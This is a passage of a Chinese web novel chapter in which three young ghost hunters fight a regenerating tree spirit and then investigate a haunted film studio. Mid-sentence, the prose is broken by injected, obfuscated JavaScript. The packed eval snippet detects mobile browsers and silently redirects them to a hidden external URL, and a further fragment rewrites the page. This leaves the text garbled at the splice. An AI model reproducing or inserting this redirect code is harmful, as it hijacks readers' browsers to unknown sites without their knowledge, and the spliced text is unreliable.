【不……是,你……好,弱,不要……】
缠着秦梧脚踝的藤蔓倏地绷直,将他如投石机上的卵石般甩向树干。
“秦梧!”秦梧下坠的势头一滞,后襟却被树杈勾住,布帛撕裂声里露出半截雪白腰身。骆云影嗤笑一声,锁链缠上少年腰肢,将他扯回地面时活像收风筝线。“弱鸡。”
小鹊也凑过来往他额间贴了片叶子:"吊兰精快显形啦!哎,泥鳅秦,怎么样,还活着不?”
“好弱是什么意思啊……太瞧不起人了吧……!!”
“就……字面意思咯。”骆云影慢悠悠地答。
秦梧揉着发红的脚踝,忽见小鹊往黑洞里丢了颗糖:“喂!嫌他肉酸,尝尝甜的!”
“所以你们果然和厉鬼才是一帮的对吧!”
“也许吧。”小鹊眨了眨眼睛,“但你挂着,确实挺好笑的。”
秦梧被气得无话可说,只是在他跌跌撞撞想从地上爬起来时,撑在地面上的指尖却倏然触碰到某个柔软的东西。
他触电般缩回手时,惊飞了草垛里的纺织娘。月光漫过草茎,正照见半截青白手指——指节蜷曲如风干的菱角。
"这、这是......"少年踉跄后退。骆云影拨开草茎,草叶上的露珠滚过尸身,倒像谁往生宣上泼了碗猪血。那女子俯趴在腐叶堆里,脊背凹陷如被车轮碾过的年画,碎骨茬子支棱着刺破绸衫。
小鹊蹲下身,发梢扫过尸体腕间的玉镯:“呀!镯子成色倒好,可惜碎了。”
这第三个人是谁……?不是说只有两个看守观者在这里?难道有其他捉鬼师上来降伏厉鬼被杀害了吗?
雾在山腰缠着像裹脚布。可山顶却奇怪。树,一棵棵都站得笔直,却死得干干净净。没一片叶,枝桠像画错的墨线,全是干的,灰的,硬的,锋利的。像鱼骨头,又像鞭梢,被厉鬼一口气激活了灵智似的,“哗啦啦”从四面八方抽将过来,像有一百条长臂,要把人拦腰夹断。
秦梧一开始还拔符掐诀,颇有些板正劲儿,后来越打越不对劲。他发现这些枝条,好像和他与小鹊没什么深仇大恨,顶多是抽一两下当警告。而那骆云影,却是“主菜”。
“咱们是不是被……挑菜了?”他有点想哭,“我们是小菜,你是主菜,鬼还挺挑食。”
耳边忽地传来一道像山鸣的低语:【吃……吃……最,后,一个……】
秦梧踉跄避过斜刺里袭来的枯枝,蹬起腐叶甩到小鹊裙摆。她指尖一弹,腐叶竟化作青蝶,扑簌簌撞向袭向骆云影的枝梢。“当心背后!”
骆云影回眸时,锁链正绞碎最后一根偷袭的枯枝。碎木屑纷扬如雪,落在他肩头却化作黑蚁,窸窣爬向领口。“吵死了!我自己他妈能行!”
“小心!”声音自他身后传来打断了他的思绪,才切完枝条的少年来不及动作,此刻只能麻木地回头去看。地脉深处传来闷雷般的低吟,整片枯木林忽如活物般痉挛。万千枝桠悬停半空,尖梢凝着夜露,恍若阎罗殿前的剑雨。
不行,身体完全僵硬了,他躲不掉……!
“你该不会放技能还有僵直吧!”骆云影忽然听到熟悉的吐槽,而下一秒少年白色的身影自他身侧毫不犹豫地飞扑过来。护身符与虬根相撞的刹那,金芒如晨露乍破,映得骆云影苍白的脸忽明忽暗。
“你现在必须承认我有点作用了。”但秦梧的重点却不是他救了骆云影,而是斤斤计较着自己对他而言是有用的伙伴。
“…你为什么要救我?” 小鹊抬眼,正见骆云影眼底未及藏好的涟漪。那素来寒潭般的眸子,此刻竟泛着灶膛里将熄未熄的余烬。尽管战斗正激烈,她却笑了。
“这还有为什么?从朋友角度来说,你有危险,我当然救你。从礼尚往来的角度来说,你刚才一直在保护我,所以我也要保护你啊?”秦梧回答得理所当然。
可惜好景不长,那些枝条碎得快,重组得更快。碎末在地上颤了颤,忽然像有什么意识般一股脑儿地重新拼接、生长,眨眼工夫又恢复了原样。
“呸,活见鬼!”小鹊吐了口气,“还是得打真身!”
“你说得倒轻巧,”骆云影冷哼了一声,“你去找找在哪。”
话没说完,几根粗壮的树根就朝他冲了过来,宛如地狱长枪。
“小心!”这回是小鹊。女娃先前还蹦跳着踩碎再生中的枯枝,发间沾了木屑,在窘迫之的情形下居然还在笑,可此刻却朝着他扑来。
两人一起跌进泥地。她拍了拍骆云影的肩膀,咧嘴笑:“小骆子肩上落星子啦!”
骆云影没说话。他只是盯着两人,有点呆,有点恼:“你们他妈疯了?”
“拜托!”秦梧睁大了眼,“你保护我们,我们也保护你。讲义气!我们三个是战斗小队!你懂吧?”
小鹊扑哧一声笑了:“我同意,战斗小队!”她伸出手,示意击掌。
骆云影犹豫了一下,像是在做一件羞耻到不行的事,最终轻轻地,把掌心贴了过去。
枯枝在夜风里簌簌作响。骆云影腕间的锁链缠着半截木枝,枝头还粘着片未褪尽绿意的叶,在煞气中蜷成个问号。毕竟一样的攻击,多来几次便失了威力。他并不慌张,已然看出那攻击的节奏,不过是反复摆弄的老把戏。
倒是秦梧,每逢厉鬼做出那种龌龊的佯攻时,总能早早地识破套路,像是早上起得格外早的学霸,替骆云影贴上一张符纸,挡下了要命的一击。
小鹊倚着半截树干,指尖捻着不知哪里来的山楂核,一边眯起眼看秦梧操作,忽然笑了一声,道:“哥,你是不是偷偷研究过‘被打过N次就开窍流’啊?”
秦梧头也不抬,只回了句:“你是说你家云影哥?”
骆云影冷哼一声:“你闭嘴。”
“第十三次佯攻。”小鹊数着腐叶堆里烧焦的虫尸,“这老鬼莫不是只会唱皮影戏?”
可就在这时候,厉鬼像是终于想通了什么,它发出一阵含混的嘶哑声:【血……我,要……他,的血……】
话音未落,地脉深处传来陶瓮破裂的闷响。万千枝条陡然炸开,如老妇散了的发髻,银簪子似的尖梢直取秦梧咽喉。骆云影回眸的刹那,三根桃木刺已穿透他左肩,血珠顺着枝桠滚落。
【好,强的,力量……好棒的,血……】厉鬼发出一种剥落锈铁的笑声。
小鹊手里的山楂糕啪地一声掉了地,她眨了眨眼,眼神一改先前的顽皮,冷冷地盯着那片黑烟翻滚处:“你动我哥哥,我就扒了你整棵树皮。”声音轻飘飘的,
随着黑烟从山体缝隙滚滚而出,那厉鬼真正的形体也终于显现出来。
四颗粗大的钉子将它的四肢反钉在背上,像是哪个疯子把一尊神像倒转着钉进地底。脖子上只余半个脑袋。悬在它头顶的神环轻轻转着,让它看上去既像鬼,又像自封的神。
这景象太荒诞,小鹊看了许久,忽然从袖子里摸出一把碎铜铃,握在手里。
“你别过去。”秦梧忽然抬眼对她说。
“可我能拖一拖他。”小鹊说,“拖个十秒也好。”
“你连十秒都没打过我。”
“那是我让的。”她鼓了鼓脸。
骆云影这时候也笑了:“别演兄妹情深了,你俩要是再多说两句,这鬼都得气活。”他手中生成的镰刀在雾里划出清冷冷的弧光:“这老鬼倒识货,专挑鲜肉下嘴。”
战斗进行得愈发凶险,秦梧却隐约生出点奇怪的兴奋感。毕竟,那厉鬼开始攻击他了。
“它看得起我耶。”他乐呵呵地说。
“你再乐,它等会就真吃你了。”骆云影冷声道,一脚踏上飞来的枝条,镰刀一瞬间将周围枝条切得干干净净。他越来越靠近厉鬼,可不料封印钉“当啷”坠地。
小鹊一怔,喃喃道:“坏了。”
秦梧的通讯器滴滴滴响个不停,传来别的捉鬼师急切的声音:“谁动了封印?!”
可谁也顾不上回答了。厉鬼挣脱了束缚,张牙舞爪,两条曾被封住的手臂现在张开如野兽的利爪,怨气沸腾得像被掀开的酒坛。
“这还能打不,双面鬼老师?”秦梧忍不住问了一句。
“你他妈少说两句就能打!”骆云影暴喝一声,额角青筋暴起,手中的镰刀挥得几乎化作残影。
秦梧张口欲回怼,可笑容凝住了,鼻尖被某种力量猛然击中,血从鼻子滴落,在他衣襟绽出点点红梅。下一秒,他整个人像破布袋一样被甩飞出去,撞在一棵老树上,吐出一口带血的气,就这样倚在老槐下,意识恍惚,襟前红梅点点。
小鹊“唰”地冲过去,却被狂乱的风势迫得后退两步。她咬紧牙齿,掏出一枚糖果递给秦梧:“吃糖止血,你别晕。”
秦梧抬头看她,半晌才苦笑:“你这糖怕不是古代的‘朱砂丸’吧?”
“当然不是。”她冷着脸,“这是我妈出差带回来的‘山楂含片’,一片三块八。”
他噎住了。
可没时间计较,眼前的空气再次扭曲,骆云影往后一闪,只是他还未来得及喘口气,又感受到从左侧袭来的危险——
骆云影的刀尖悬在秦梧喉头三寸,刃上映着少年苍白的脸。冷汗顺着秦梧的额角滑落,他咽下口唾沫,又用指尖小心翼翼地推开了骆云影的镰刀,最后扯出个足够尴尬的笑容来,“你刚才……是想杀了我吗?”
那是骆云影对于危险感知的本能?可他为何会对自己设防?
小鹊抱着膝盖坐在一边,摇了摇头:“哎,真是的,你们一个个都比我还不省心。”
秦梧踉跄避过厉鬼的利爪,鞋底在青苔上滋溜打滑。
“老秦头若见我们这般糟蹋符纸,”小鹊踩着厉鬼肩胛腾空,发梢扫过秦梧鼻尖,“怕是要气成个鼓肚青蛙。”话音未落,那厉鬼筋肉虬结的臂膀已再生如初,伤口处泛着腌菜缸似的酸绿。
“是呀,非气出高血压来。”秦梧干笑两声,眼睛瞟向那边还在跟厉鬼撕扯不休的骆云影。
少
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15835171|175640||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
年还想找一处能一击致命的弱点,可惜这厉鬼不知是不是吃了防腐剂,刀砍火烧全不见效,一眨眼又完好如初。
“它好像……没弱点啊。”秦梧挠了挠头,冲骆云影喊道,“咱得赶紧解决它,不然迟早被耗死——”
“废话少说!”骆云影跳脚似的怒喝,手背擦了擦下巴的汗,又一抖镰刀,“没弱点,那就全身都是弱点!”
秦梧看着他又冲了上去,心里叹了口气——不过他也差不多准备好了。
就在这时,身侧忽然传来一串鬼哭狼嚎的歌声:“亲爱的~你慢慢飞~小心前面带刺的玫瑰~”
手机屏蓝光映着秦梧抽搐的嘴角,秦观海的歌声,还有他十七通未接来电活像十七只催命鬼。他刚要抬手掐断这要命的嚎丧,头顶忽地掠过道白影——骆云影倒栽葱似的砸进他怀里,两人滚作团滚地葫芦。
这家伙还没从地上爬起来就板起脸,“都怪你铃声太恶心了!”
秦梧微笑:我坐着挨骂,倒也不冤。
“哎呀,小秦同学,铃声不错,下次唱给我听~”一个软绵绵的声音从树上飘下来,小鹊正悠哉地坐在树杈上晃腿,“我猜你是想用‘那个’,对吧?我可都看出来啦。”
秦梧看了她一眼,笑得像是捡着了西瓜,“你怎么知道?”
“你每次认真起来就会左手先动一下,然后耳朵会轻轻抖两下,”小鹊托着腮,一本正经地分析,“像猫快要扑老鼠的时候。”
秦梧想说点什么,结果憋了一肚子话,只挤出一句:“……你观察我真仔细。” 耳尖的红晕在月光下洇成深红。
【快,点,吃掉……他……】厉鬼的嘶吼像是漏风的破风箱。它的肌肉在肩颈处鼓胀,背后的锁魂钉发出“咯吱咯吱”的声音,像老房子快要塌了。
秦梧被震得坐倒在地,一边冷汗直冒,一边对骆云影喊:“快阻止它啊!”
“我当然想啊!”骆云影瞪他,但他很快听到秦梧那句轻飘飘的:“我有办法的。”
厉鬼已经挣脱了一根锁魂钉,第三只手即将解封。
骆云影的镰刀在月下划出银弧,刃口削过厉鬼鼓胀的肩胛,带起一蓬青灰色的腐肉。那伤口蠕动着愈合。
【没用的……没用的……乖乖,被我吃掉……】
“喂!你说的‘办法’到底是啥!”骆云影回头怒视秦梧,像要把他从地上拎起来一样。
秦梧咧嘴一笑,“它肩上那块黄符烧伤的地方,还没愈合吧?”
果然,那一小块焦痕还在,像是伤口在它的再生中漏了一道缝。
【杀了你!!】
厉鬼忽然怒吼,三只胳膊齐齐朝着秦梧袭来!千钧一发之际,骆云影猛然收镰成链,链条化作乌龙缠身,三条手臂硬生生被扯在半空中。
“谢了。”秦梧低声道,阴阳眼在眼底亮起,地上的符纸仿佛被点燃的汽油,火线“呲啦啦”蹿了出去,把整个空地都照亮了。火墙升起,却在临近厉鬼前熄火了,扑腾几下只剩零星火星。
“唉?我人火怎么这么弱?”
“笨蛋,我来啦!”小鹊的声音脆生生。她不知道什么时候落在了火阵的边缘,一脚踏下,仿佛轻轻一捻,整座符阵“轰”地燃起来了。
火焰腾空而起,像是一场天火审判,把厉鬼包围在其中。原来刚才秦梧一边“慌张”逃跑,一边“失手”丢落的符纸,竟是布下的束魂大阵。小鹊早就看穿了他的心思,也不声不响帮他“拢火头”。
骆云影的镰刀划破火光,从厉鬼头顶劈下,火焰顺势包住它的伤口。那是一道它无法愈合的创伤,叫厉鬼痛得嘶吼。
火阵余烬里蹦出几点星子,惊醒了蜷在树洞里的夜枭。小鹊的绣鞋尖碾过焦土,鞋头缀的珍珠早熏成了松烟墨色。火光中,少年的发梢染了金边,小鹊捧着脸站在阵边,忍不住哼起小曲,“啦啦啦,小梧梧,这次还挺像个英雄嘛。”
秦梧翻了个白眼,对她比了个“耶”。
但就在他们松一口气时,束魂阵中央忽然爆出一道红光。“轰”的一声,大量怨气冲天而起,像是撕裂了什么界限,四散而逃,飞向夜空的各个角落。
“……这不是厉鬼没死。”秦梧喃喃道,“是——它体内那些魄,跑了。”
骆云影沉了脸,“犯了个低级错误。只烧了壳子,里头那九十九条魄跑了个精光。”
小鹊仰颈望着冲天而起的怨魄,不急也不恼:“呀!”她忽然指向东南方,“那颗红的定要撞上启明星哩!”
不管是否会有人因这些魂魄而受伤,不管这是否意味着无尽的忙碌,她笑得一如既往:“等回家,我要去集市买糖画。要画只朱雀,衔着这些乱窜的魂。”
石阶缝里钻出的车前草沾满夜露。秦梧扒着青石往下蹭,布鞋底在苔藓上打滑,活似学步的雏鸭遇着油锅。“我这不是爬山,是复健……”他一边咕哝,一边看骆云影,那位爷肩上破了个洞,血还没干透,却健步如飞,像是下山去赶庙会的。
“你要不要……去下医院?我看那边山脚就有一个。”秦梧小声地说着,用手指指远处灯光未熄的那一片。
“你的意思是,让我从这跳下去?”骆云影头也不回。
“……呃,当我没说。”秦梧讪讪收手,默默闭嘴。
雾愈发浓了,裹着腐叶与松脂的腥气,恍若谁家蒸笼揭了盖。忽有凄厉女声刺破岑寂。半截黑影自雾中扑来时,秦梧摸向空荡荡的符囊:“哎我去,它怎么还在!”
骆云影倒是一脸事不关己,冷哼一声,“你就算成了鬼,估计也是最不怕死那种。”他甩起锁链,像是准备来个痛快的了断。
可就在此时,雾里突然蹦出个大叔,穿得跟古装片里的老道士似的,一身黄袍,手举桃木剑,嘴里还念念有词,“大胆恶鬼,休得伤人!”
黄袍大叔桃木剑舞得虎虎生风,剑穗上系的铜钱撞出清越声响。符纸贴鬼额的动作利索得像茶楼伙计斟八宝茶,秦梧瞧着竟生出几分亲切——这架势,倒像极了他爹在灶台前颠炒勺的模样。黄袍大叔得意道:“你们两个小家伙怎么会在这么危险的地方?低级的捉鬼师应该都在山脚下集合。”
秦梧还没说话,骆云影脸一沉:“哈?你他妈说谁低级,老子……唔唔!”
“谢谢谢谢!”秦梧赶紧捂住他嘴,一边鞠躬道谢,一边像拖小狗似的把人拖走。
小鹊不见了,他得去找她。
好不容易避开人群,下到半山腰,小路上多了些行人,大多一副“看得见”的样子。有人背包里露出法器一角,有人手里把玩符纸,像是在检查库存,也有人肩头立着个只有阴阳眼能看到的小鬼,正打哈欠。
小鹊就在这时从树林那头慢悠悠地走了出来,蹦跳着追上他们:“唉,你们跑得真快啊。我刚才还在跟个小鬼讲他阳寿未尽别乱跑,结果一回头你们都不见了!”她看起来没受伤。
“你没事吧?”秦梧关切地问。
“我?我比那个女鬼命还长呢。”
“你们说——”她转头望着秦梧和骆云影,“要是我现在飞出去,会不会被人当成雾里的妖精?”
“你哪门子妖精。”秦梧疲惫地说,“妖精会自己踩坑摔一脸泥吗?”
话音未落,小鹊绣鞋尖已踩进泥坑,溅起的泥点子正巧缀在他衣角,正要得意洋洋宣布“你也是泥人了”,忽然听见前方传来几道嘈杂的声音。
“快瞧那女娃儿!”手电筒晃过青石阶,灯影里映着个戴方巾的少年,“活脱脱年画上跳下来的玉童子。”
小鹊踮脚扯了扯秦梧汗津津的袖管:“你听!他们说我是年画娃娃!”晨光漫过她蓬乱的刘海,发间银蝴蝶缺了半边翅膀,倒像被顽童揪过的凤仙花。
秦梧看她一身泥点,叹了口气:“你是娃娃掉水缸了。”
雾霭深处忽有人声切切,几个年轻捉鬼师提着琉璃灯走近。灯影里小鹊的发卡泛着珠光,倒映在为首少年的铜铃眼里:“你们刚刚在往山上一点吧?有人说看到你们,一大一小一冷脸,像什么仙门三英少侠组合,还以为是拍电影的。”
“我们不是少侠,我们是值日的。” 小鹊说得认真。
男孩一愣,笑了:“值日?你们门派挺有意思的。”
另一个姑娘偷偷掩嘴:“真可爱……还有那个姐姐…哦不,这位冷面仙姑,莫不是雪魄化成的?”
“中间那个……有点像被他俩拖出来的苦命仆从。”她像是故意逗人一样。
秦梧:“……”
小鹊笑得快岔气了,弯着眼睛往骆云影那边挪:“你听到没?你是冷面仙姑。”
骆云影冷淡地看了她一眼,没说话。
“那我是什么呀?”她又问。
“年画娃娃。”秦梧道。
“那你呢?”
“……仆从。”
“可怜啊。”小鹊一脸同情地看着他,拍拍他胳膊,“要不我帮你写封信,向领导申请调岗?”秦梧被她气笑了,又没力气搭话。几人就这么一边拌嘴一边下山,留下一堆不明真相的年轻捉鬼师在雾里交头接耳。
“真的是捉鬼师?我还以为只是几个普通小孩。”
“长成那样的普通小孩,怕也只能是仙门里养出来的了。”
9. 拍摄惊魂
她是替补上来的。
原定的女主忽称不适,副导演后台里捏着个纸条塞给她,压着嗓子:“小姜,快顶上,开拍了。上去就当你自个儿是角儿,莫慌。”
小姜穿着略大一号的白裙,裙摆拖地,缀了些汗渍。妆师拍了拍她脸:“别抖,记住,镜头是你的朋友,别眨眼。”
她点点头,嗓子眼有些发干,心在腔子里撞。
词儿不繁,动作亦不难,只是这回真真立在了光圈中央,四面八方都是亮。
轮到她了。她一脚踏进镜框中央,灯光照得她眼发花。导演喊卡,她没听清,又喊action,她愣了下,还是咬牙接戏。
心里反复默念:“别怯场,别眨眼。”
戏演到半途,胸口猛地一紧。她张口吸气,舌尖却尝到一丝腥甜。
身子软下去前,眼梢瞥见摄影灯后头的暗影里,立着一人。白裙曳地,头发散着,眼睛亮得瘆人,嘴角似乎轻轻牵了一下,像在说:“换你了。”
想喊,喉咙里堵着。
天旋地转,末了一瞬,她看见摄影机顶上那点红灯还亮着,幽幽地、定定地瞅着她,像是要把她刻进那胶片里去。
“还在演哩……” 她想着。
身子倒下时,就剩一个念头:
“戏,还没完……”
事情要说回不久前。
梧桐叶子筛下的光斑落在秦梧膝盖上。
小鹊生得白净,眉眼像是工笔描出来的。巷子里的阿婆们爱说:“你家隔壁那小囡,真真像是年画里走出来的。”这时把小鹊当自家半个闺女的秦观海会得意洋洋:“可不是?上礼拜电视台还来拍宣传片哩。”
弄堂里的小子们举着竹竿要替她打花枝。秦梧蹲在水泥管搭的“碉堡”里,看花瓣打着旋儿落在自己磨破的膝盖上——所以这样远近闻名的俊姑娘被星探挑中也是常事。
"当真不去?"小鹊踮脚立在花坛边。后头杵着个竹竿似的墨镜男人,镜片反着白光。
秦梧没抬头,只是把一小截树枝折断,丢进水泥管里,闷声道:“不去。”
“日结三百,管两餐。”她三根手指比得俏生生,语气诱拐:“你的菠菜会员费用有着落哩。”
秦梧钻出他半坐着的水泥管。“你当是扮观音菩萨?”他瞥见星探正给王阿婆递名片,“那家伙眼珠子黏你身上三天了。”
说是电影学院的毕业生,要拍个什么学生短片,拉了学校里几个漂亮的娃娃当演员。照理说这种出风头又耍帅的事情,少年不应如此排挤,可秦梧就是浑身泛鸡皮疙瘩。
弄堂这些年不时有人拐小孩、讹事,他见过那样的眼神。星探的嘴角含笑,笑意却不进眼睛。
那星探正和几个家长说话,一边分发着印着“青年影像扶持计划”的宣传单子,话里句句带“机遇”、“曝光”、“被看见”之类字眼。弄堂口几个家长动了心,拉着自家闺女问来问去,小鹊却已经当先跳下台阶,跑去和摄影师握手:“喂,你刚才说的那台旧机器,是胶片的吗?”
“是的,宝贝。”星探的镶银牙在日头下一闪,“你对器材有兴趣?”
“我家以前楼下住了个修摄像机的老爷爷,我常陪他看。”
秦梧把断枝往管底一掷。骆云影努努嘴:“怕她叫人拐了,就跟去。”
最终还是去了。
拍摄地在城西老区,一座拆了一半的文化宫旁边。过去这里是知名的胶片厂出外景地,如今只剩几栋半新不旧的厂房,被电影学院拿来“复刻年代感”。
小鹊走在最前头,秦梧跟在后头,手里拿着一根不知道捡哪来的糖画棍,嘴里碎碎念:“影棚?影棚个头,影子还没见着,我腿先断了……谁设计的路啊?全是碎砖……”
小鹊回头笑他:“你来不是为我嘛?”
“我那是怕你被人拐了!”秦梧咬碎糖片,“你脑袋上写着‘好骗’俩字,全巷子都看得见。”
“屁。”骆云影在一旁拿水瓶拧开,“她顶多骗别人。”
“你倒是来得比谁都快。”秦梧斜他一眼,“你不是说‘我最烦跟剧组沾边’?”
骆云影翻个白眼:“怕你们俩个废物脑壳不清醒,就来盯着点。”
三人吵吵闹闹进了大门。门里阴凉扑面,一下像跨了季节。外头盛夏,里头仿佛晚秋。影棚铁门上的封条在风里飘摇,褪色的红纸边活似除夕夜没贴牢的春联,那是一种说不上来的“旧”——不是灰尘或发霉的味,而像放久了的相册、阴干过的血迹,还有那种,夏天暴雨后没有晾开的湿衣服。
秦梧吸了吸鼻子:“喂,这地儿,怎么一股仙人球烂掉的味道。”
“是腐殖土和铁锈的混合,”小鹊低头看脚边,“还有点……胶片味。”
墙上还挂着一块掉漆的招牌:“第二道具间”。铁门上贴了封条,不过被人偷偷撕开过——留下撕裂的红边和几道指甲印。封条残字隐约拼凑处“沈月当”。
秦梧盯了一会儿那封条,说:“怪瘆人的。”
“可能是老鼠。”小鹊说得轻飘飘。
“老鼠还写‘沈月棠’?!”骆云影拿水瓶敲了敲门,“老鼠识字啊?”
他们进组登记时,秦梧就眼尖地瞥见了棚里那架装饰用的老式摄像机——日头在胶片堆里碎成铜钱斑。那机器罩着裹尸布似的绸缎,三脚架腿缠着褪色的红绳,像绑粽子。据说是这次片子的“主角道具”,改编自“80年代选秀失踪少女”的故事。那机器现在放在影棚中间,像被人丢进水牢的旧偶人——周围缠绕着怨气。
“小鹊。”秦梧忽然说,“我有种不好的预感。”
“你怕啦?”小鹊眨眼。
“才没有。”他撇嘴,“我怕你一进组,别人拍戏你拍鬼。”
小鹊没说话,只是手里捻着一小段摄影用胶片。似是被名字勾起了回忆,她轻轻问了人尽皆知的怪谈:“……你们信吗?说,沈月棠是自缢前录了一卷自白?”
骆云影:“竟他妈扯淡。”
小鹊忽然踮脚凑近取景器,睫毛扫过蒙尘的目镜:“你们说——”她呵出的白雾在玻璃上凝成个小月亮,“要是现在装卷,会不会拍到...”
"咔哒。"
他们三人谁都没动,却又不约而同看向二楼楼梯口。只有空空的灯壳和布景板立在那里,没有人。
骆云影沉默几秒:“……草,不行,先查查那台机器是哪来的。”
晚上是试装和排练时间,剧组人不多,天色一暗,影棚外便只剩蟋蟀和远处铁轨的声音。
三人坐在道具间后头的小食堂,几张脱皮的塑料桌,灯泡是黄的,饭菜是糊的。
桌上摆着几个便当盒,胡萝卜炒鸡蛋,素鸡红烧,还有一罐人手一罐的老牌汽水。秦梧咬着吸管,嘴里还是闲不住。
“剧组这晚饭,我给三分,多一分是看在汽水上的。”他说着把米饭拨来拨去,“这炒胡萝卜跟我的比,差了两条胡同。”
骆云影扒拉两口饭,懒得理他。
“哼。”小鹊撑着下巴,不置可否,“我们还是说回沈月棠的事情吧”
秦梧放下筷子,“我记得老家伙以前跟我说过,她年轻那会儿在胶片厂实习过,说那姑娘长得像日本电影里的女明星,有点像山口百惠那挂的。”
“她不是失踪。”骆云影语气平淡,“是死了,自缢。”
“真的假的?”
“说她死之前参加了个选秀,最后一轮是胶片摄影棚里拍形象照,结果被另一个女孩顶替。那姑娘好像是个局长的外甥女。当时传得沸沸扬扬,选秀机构第一时间澄清,说‘沈月棠自愿退出’,但后头她的尸体在文化宫发现了。吊死在楼梯转角,那年她才十七。”骆云影舀了勺浮着油星的菜汤,难得一口气解释了许多:“那楼封了快十年。去年才给电影学院申请到当作‘实验教学基地’。”
“也就是我们现在拍戏的这个影棚?” 秦梧的喉结动了动。远处铁轨传来闷响,震得汽水瓶里气泡窜成串银珠。
骆云影点头。
秦梧搓搓胳膊:“那、那台机器呢?真的就是那台当年拍她的?”
“有可能。”小鹊眼神亮晶晶的,“我看过照片,那台机器是瑞士产的手摇机,很稀有。拍她最后一张形象照的,就是这型号。”
“可也不一定就是那台。”骆云影说,“电影学院从仓库翻出来一堆旧设备,说是‘致敬年代感’,可能是碰巧。”
“可也有可能,就是那台。”小鹊不依不饶:“你们没觉得奇怪吗?为什么影棚不换新机器?为什么拍的是这个题材?”
“炒冷饭,搏噱头呗。”秦梧嘴硬。
“那你为啥还来?”
秦梧一噎,别过脸:“……我怕你出事嘛。”
拍摄结束时,天已将晚,老式摄像机在三脚架上投出扭曲的影。
那个刚才演主角的女生,正仰面躺在那里。
她的头歪向一边,嘴巴张着,眼珠上翻,像是还没从什么惊恐中挣脱。水红色戏服铺成朵将萎的海棠,指甲深深掐进织锦缎面,活生生像是要把魂魄缝进去。
秦梧嗅到丝苦杏仁味,混着摄影机齿轮的机油腥,惊得他后颈汗毛倒竖。“她是不是……她怎么了?”
“心脏病突发吧。”导演蹲下身,按住脉搏,又探了口鼻,“……人没了。”
整个剧组陷入短暂的寂静,只有摄影助理还在嗒嗒地调镜头,像没发现。
秦梧拉着小鹊退到一旁,低声道:“你有没有看到,她倒下前是不是朝你这边伸手?”小鹊摇头。
“行了,收拾收拾。” 摘表探脉的动作如菜市挑鱼,导演皱起眉头,有些嫌弃:“这和剧组没关系。她自己身体出问题,咱们不负责。”
“要不报警吧……”
“报个屁。”骆云影把水壶“咚”地砸在配电箱上,火气上头,“人都死了,压什么压?你刚才拍下来了是吧?剪出来一帧帧看看,她到底是怎么死的。”
导演阴着脸不说话,另一边的副导演已经在打电话。“她家属我们会联系,你们几个娃子先别乱说话。”
当天晚上,小鹊没回家,剧组在附近的老招待所包了几间房。因为年纪小,她和另外两个女孩挤在一间,睡的是旧木板床。
月光被老招待所的铁窗棂筛成碎银,小鹊蜷在铁架床上。邻床女孩的鼾声混着水管渗漏的滴答,吵得她睡不着。
凌晨三点,走廊地砖忽起沙沙声。小鹊睁眼时,瞥见门缝漏进一线幽光——那光映着片飘摇的裙裾残影。白纱裙褶子多,沾了点灰和斑斑锈红。影子忽地矮了半截,原是那物俯身贴上门板。老榆木门“吱呀”渗进股寒气。
"换你了。"
第二天一早,小鹊睁开眼。她去找了秦梧和骆云影;三人一起窝在废弃琴房。
晨光渗进破窗,在积灰的钢琴键上切出金箔似的斜纹。小鹊缩在断腿的琴凳上,得意洋洋:“哼哼~我肯定了,那女孩不是病死的。”
“你梦见她了?” 秦梧捏着手机屏,正在刷论坛。
“不是她。是一件白裙子。她在我耳边说——换你了。”
“……妈的。”骆云影骂出声,“那片头到底拍了个啥?这事怎么没查出个清楚?”
秦梧晃着观者发来的信息:“找到了,沈月棠案底——官方口径是跳楼。可奇怪的是——她跳楼前还特意留下了一卷遗物。拍完选拔赛那天,她拉着摄影师非要再录一段‘自述’,说是感谢老师。后来摄影师死了,三个月内,录音师车祸,化妆师割腕,导演失踪。全是事故。”
“那胶片呢?”骆云影皱眉。
“——丢了。”秦梧缓缓道,“失踪前的导演把它寄回了厂房,说是‘物归原位’。而厂房,就是咱们这次的拍摄地。”
灯在铁架上打着摆子,光斑碎在棚顶的蛛网间——随后消失了。在停电的漆黑中,场务老张摔了灯罩骂骂咧咧,电工梯子晃得铁皮桶叮当响。
有人看不下去,走了出去骂电工;有人手脚麻利地布景上粉。“消停些!”副导演搁下搪瓷缸。小鹊蹲在布景板后头,瞧见那台摄影机忽然“咔嗒”转轴
镜头缓缓对焦空场中央,转动的沙沙声里,拍了张照。场记板“啪”地坠地,惊得众人齐刷刷望去——没有演员站位,可镜头里分明是个“人”,白裙曳地如浸了月色的宣纸,发梢滴落的不知是夜露还是血珠。
导演脸色一变。
“……谁叫群演了?谁的?”
场务们面面相觑:“没有啊……”
可灯光师老李手直颤:“沈姑娘当年...就是站那光位。”
后台更衣室,三人围着监视器。
“那白影子开始反复了。”秦梧指尖戳着屏幕,“昨天也是这一段,她在镜头里重复站了五次,像是等什么cue。”画面里的白影在的布景前飘忽,水袖似的裙摆总逡巡不前。
骆云影靴尖碾着满地导演留下的烟头:“真他妈阴魂缠戏。”
小鹊咬断铅笔芯:"她在等个替身。"泛黄的纸页印着《贵妃醉酒》的唱词,被她用红圈画得乱:“她为什么只盯着我?我又不入戏。”
“别咬铅笔芯,有毒。”秦梧赶紧去掰她嘴。
“她以为你是空壳好附身,”骆云影冷哼,“你的说话方式根本不像人类。”
“别吵别吵,我们先想怎么收她。今晚上,她一定会出现。”秦梧把铅笔没收了:“这种魂魄往往对生前爱做的事情执念很大。我去演戏引她,小鹊守着镜头截断投影,骆云影……你要是站舞台正中,她可能直接吓得魂飞。”
“那我站点边。”骆云影不屑地挥挥手,“省得她哭着跪下投胎。”
深夜,棚内只剩寥寥几人,主灯关掉了,只有摄影灯还亮着。
暖黄打在场地中央,孤独地明着。
秦梧立在光斑里,身上没带护符。他长相清朗,眼神一如既往地认真,仿佛真在演戏。鬼魂死前应念的台词轻声被念出:“我不会再逃了。”
